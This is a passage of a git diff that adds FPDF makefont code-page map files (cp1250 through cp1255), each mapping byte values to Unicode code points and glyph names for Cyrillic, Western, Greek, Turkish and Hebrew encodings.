+!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!89 U+2030 perthousand +!8A U+0160 Scaron +!8B U+2039 guilsinglleft +!8C U+015A Sacute +!8D U+0164 Tcaron +!8E U+017D Zcaron +!8F U+0179 Zacute +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!99 U+2122 trademark +!9A U+0161 scaron +!9B U+203A guilsinglright +!9C U+015B sacute +!9D U+0165 tcaron +!9E U+017E zcaron +!9F U+017A zacute +!A0 U+00A0 space +!A1 U+02C7 caron +!A2 U+02D8 breve +!A3 U+0141 Lslash +!A4 U+00A4 currency +!A5 U+0104 Aogonek +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+015E Scedilla +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+017B Zdotaccent +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+02DB ogonek +!B3 U+0142 lslash +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+0105 aogonek +!BA U+015F scedilla +!BB U+00BB guillemotright +!BC U+013D Lcaron +!BD U+02DD hungarumlaut +!BE U+013E lcaron +!BF U+017C zdotaccent +!C0 U+0154 Racute +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+0102 Abreve +!C4 U+00C4 Adieresis +!C5 U+0139 Lacute +!C6 U+0106 Cacute +!C7 U+00C7 Ccedilla +!C8 U+010C Ccaron +!C9 U+00C9 Eacute +!CA U+0118 Eogonek +!CB U+00CB Edieresis +!CC U+011A Ecaron +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+010E Dcaron +!D0 U+0110 Dcroat +!D1 U+0143 Nacute +!D2 U+0147 Ncaron +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+0150 Ohungarumlaut +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+0158 Rcaron +!D9 U+016E Uring +!DA U+00DA Uacute +!DB U+0170 Uhungarumlaut +!DC U+00DC Udieresis +!DD U+00DD Yacute +!DE U+0162 Tcommaaccent +!DF U+00DF germandbls +!E0 U+0155 racute +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+0103 abreve +!E4 U+00E4 adieresis +!E5 U+013A lacute +!E6 U+0107 cacute +!E7 U+00E7 ccedilla +!E8 U+010D ccaron +!E9 U+00E9 eacute +!EA U+0119 eogonek +!EB U+00EB edieresis +!EC U+011B ecaron +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+010F dcaron +!F0 U+0111 dcroat +!F1 U+0144 nacute +!F2 U+0148 ncaron +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+0151 ohungarumlaut +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+0159 rcaron +!F9 U+016F uring +!FA U+00FA uacute +!FB U+0171 uhungarumlaut +!FC U+00FC udieresis +!FD U+00FD yacute +!FE U+0163 tcommaaccent +!FF U+02D9 dotaccent diff --git a/tools/fpdf/font/makefont/cp1251.map b/tools/fpdf/font/makefont/cp1251.map new file mode 100755 index 0000000..de6a198 --- /dev/null +++ b/tools/fpdf/font/makefont/cp1251.map @@ -0,0 +1,255 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0402 afii10051 +!81 U+0403 afii10052 +!82 U+201A quotesinglbase +!83 U+0453 afii10100 +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!88 U+20AC Euro +!89 U+2030 perthousand +!8A U+0409 afii10058 +!8B U+2039 guilsinglleft +!8C U+040A afii10059 +!8D U+040C afii10061 +!8E U+040B afii10060 +!8F U+040F afii10145 +!90 U+0452 afii10099 +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!99 U+2122 trademark +!9A U+0459 afii10106 +!9B U+203A guilsinglright +!9C U+045A afii10107 +!9D U+045C afii10109 +!9E U+045B afii10108 +!9F U+045F afii10193 +!A0 U+00A0 space +!A1 U+040E afii10062 +!A2 U+045E afii10110 +!A3 U+0408 afii10057 +!A4 U+00A4 currency +!A5 U+0490 afii10050 +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+0401 afii10023 +!A9 U+00A9 copyright +!AA U+0404 afii10053 +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+0407 afii10056 +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+0406 afii10055 +!B3 U+0456 afii10103 +!B4 U+0491 afii10098 +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+0451 afii10071 +!B9 U+2116 afii61352 +!BA U+0454 afii10101 +!BB U+00BB guillemotright +!BC U+0458 afii10105 +!BD U+0405 afii10054 +!BE U+0455 afii10102 +!BF U+0457 afii10104 +!C0 U+0410 afii10017 +!C1 U+0411 afii10018 +!C2 U+0412 afii10019 +!C3 U+0413 afii10020 +!C4 U+0414 afii10021 +!C5 U+0415 afii10022 +!C6 U+0416 afii10024 +!C7 U+0417 afii10025 +!C8 U+0418 afii10026 +!C9 U+0419 afii10027 +!CA U+041A afii10028 +!CB U+041B afii10029 +!CC U+041C afii10030 +!CD U+041D afii10031 +!CE U+041E afii10032 +!CF U+041F afii10033 +!D0 U+0420 afii10034 +!D1 U+0421 afii10035 +!D2 U+0422 afii10036 +!D3 U+0423 afii10037 +!D4 U+0424 afii10038 +!D5 U+0425 afii10039 +!D6 U+0426 afii10040 +!D7 U+0427 afii10041 +!D8 U+0428 afii10042 +!D9 U+0429 afii10043 +!DA U+042A afii10044 +!DB U+042B afii10045 +!DC U+042C afii10046 +!DD U+042D afii10047 +!DE U+042E afii10048 +!DF U+042F afii10049 +!E0 U+0430 afii10065 +!E1 U+0431 afii10066 +!E2 U+0432 afii10067 +!E3 U+0433 afii10068 +!E4 U+0434 afii10069 +!E5 U+0435 afii10070 +!E6 U+0436 afii10072 +!E7 U+0437 afii10073 +!E8 U+0438 afii10074 +!E9 U+0439 afii10075 +!EA U+043A afii10076 +!EB U+043B afii10077 +!EC U+043C afii10078 +!ED U+043D afii10079 +!EE U+043E afii10080 +!EF U+043F afii10081 +!F0 U+0440 afii10082 +!F1 U+0441 afii10083 +!F2 U+0442 afii10084 +!F3 U+0443 afii10085 +!F4 U+0444 afii10086 +!F5 U+0445 afii10087 +!F6 U+0446 afii10088 +!F7 U+0447 afii10089 +!F8 U+0448 afii10090 +!F9 U+0449 afii10091 +!FA U+044A afii10092 +!FB U+044B afii10093 +!FC U+044C afii10094 +!FD U+044D afii10095 +!FE U+044E afii10096 +!FF U+044F afii10097 diff --git a/tools/fpdf/font/makefont/cp1252.map b/tools/fpdf/font/makefont/cp1252.map new file mode 100755 index 0000000..dd490e5 --- /dev/null +++ b/tools/fpdf/font/makefont/cp1252.map @@ -0,0 +1,251 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!83 U+0192 florin +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!88 U+02C6 circumflex +!89 U+2030 perthousand +!8A U+0160 Scaron +!8B U+2039 guilsinglleft +!8C U+0152 OE +!8E U+017D Zcaron +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!98 U+02DC tilde +!99 U+2122 trademark +!9A U+0161 scaron +!9B U+203A guilsinglright +!9C U+0153 oe +!9E U+017E zcaron +!9F U+0178 Ydieresis +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+00D0 Eth +!D1 U+00D1 Ntilde +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+00DD Yacute +!DE U+00DE Thorn +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+00F0 eth +!F1 U+00F1 ntilde +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+00FD yacute +!FE U+00FE thorn +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/cp1253.map b/tools/fpdf/font/makefont/cp1253.map new file mode 100755 index 0000000..4bd826f --- /dev/null +++ b/tools/fpdf/font/makefont/cp1253.map @@ -0,0 +1,239 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!83 U+0192 florin +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!89 U+2030 perthousand +!8B U+2039 guilsinglleft +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!99 U+2122 trademark +!9B U+203A guilsinglright +!A0 U+00A0 space +!A1 U+0385 dieresistonos +!A2 U+0386 Alphatonos +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+2015 afii00208 +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+0384 tonos +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+0388 Epsilontonos +!B9 U+0389 Etatonos +!BA U+038A Iotatonos +!BB U+00BB guillemotright +!BC U+038C Omicrontonos +!BD U+00BD onehalf +!BE U+038E Upsilontonos +!BF U+038F Omegatonos +!C0 U+0390 iotadieresistonos +!C1 U+0391 Alpha +!C2 U+0392 Beta +!C3 U+0393 Gamma +!C4 U+0394 Delta +!C5 U+0395 Epsilon +!C6 U+0396 Zeta +!C7 U+0397 Eta +!C8 U+0398 Theta +!C9 U+0399 Iota +!CA U+039A Kappa +!CB U+039B Lambda +!CC U+039C Mu +!CD U+039D Nu +!CE U+039E Xi +!CF U+039F Omicron +!D0 U+03A0 Pi +!D1 U+03A1 Rho +!D3 U+03A3 Sigma +!D4 U+03A4 Tau +!D5 U+03A5 Upsilon +!D6 U+03A6 Phi +!D7 U+03A7 Chi +!D8 U+03A8 Psi +!D9 U+03A9 Omega +!DA U+03AA Iotadieresis +!DB U+03AB Upsilondieresis +!DC U+03AC alphatonos +!DD U+03AD epsilontonos +!DE U+03AE etatonos +!DF U+03AF iotatonos +!E0 U+03B0 upsilondieresistonos +!E1 U+03B1 alpha +!E2 U+03B2 beta +!E3 U+03B3 gamma +!E4 U+03B4 delta +!E5 U+03B5 epsilon +!E6 U+03B6 zeta +!E7 U+03B7 eta +!E8 U+03B8 theta +!E9 U+03B9 iota +!EA U+03BA kappa +!EB U+03BB lambda +!EC U+03BC mu +!ED U+03BD nu +!EE U+03BE xi +!EF U+03BF omicron +!F0 U+03C0 pi +!F1 U+03C1 rho +!F2 U+03C2 sigma1 +!F3 U+03C3 sigma +!F4 U+03C4 tau +!F5 U+03C5 upsilon +!F6 U+03C6 phi +!F7 U+03C7 chi +!F8 U+03C8 psi +!F9 U+03C9 omega +!FA U+03CA iotadieresis +!FB U+03CB upsilondieresis +!FC U+03CC omicrontonos +!FD U+03CD upsilontonos +!FE U+03CE omegatonos diff --git a/tools/fpdf/font/makefont/cp1254.map b/tools/fpdf/font/makefont/cp1254.map new file mode 100755 index 0000000..829473b --- /dev/null +++ b/tools/fpdf/font/makefont/cp1254.map @@ -0,0 +1,249 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!83 U+0192 florin +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!88 U+02C6 circumflex +!89 U+2030 perthousand +!8A U+0160 Scaron +!8B U+2039 guilsinglleft +!8C U+0152 OE +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!98 U+02DC tilde +!99 U+2122 trademark +!9A U+0161 scaron +!9B U+203A guilsinglright +!9C U+0153 oe +!9F U+0178 Ydieresis +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+00CC Igrave +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+011E Gbreve +!D1 U+00D1 Ntilde +!D2 U+00D2 Ograve +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+0130 Idotaccent +!DE U+015E Scedilla +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+00E3 atilde +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+00EC igrave +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+011F gbreve +!F1 U+00F1 ntilde +!F2 U+00F2 ograve +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+0131 dotlessi +!FE U+015F scedilla +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/cp1255.map b/tools/fpdf/font/makefont/cp1255.map new file mode 100755 index 0000000..079e10c --- /dev/null +++ b/tools/fpdf/font/makefont/cp1255.map @@ -0,0 +1,233 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef 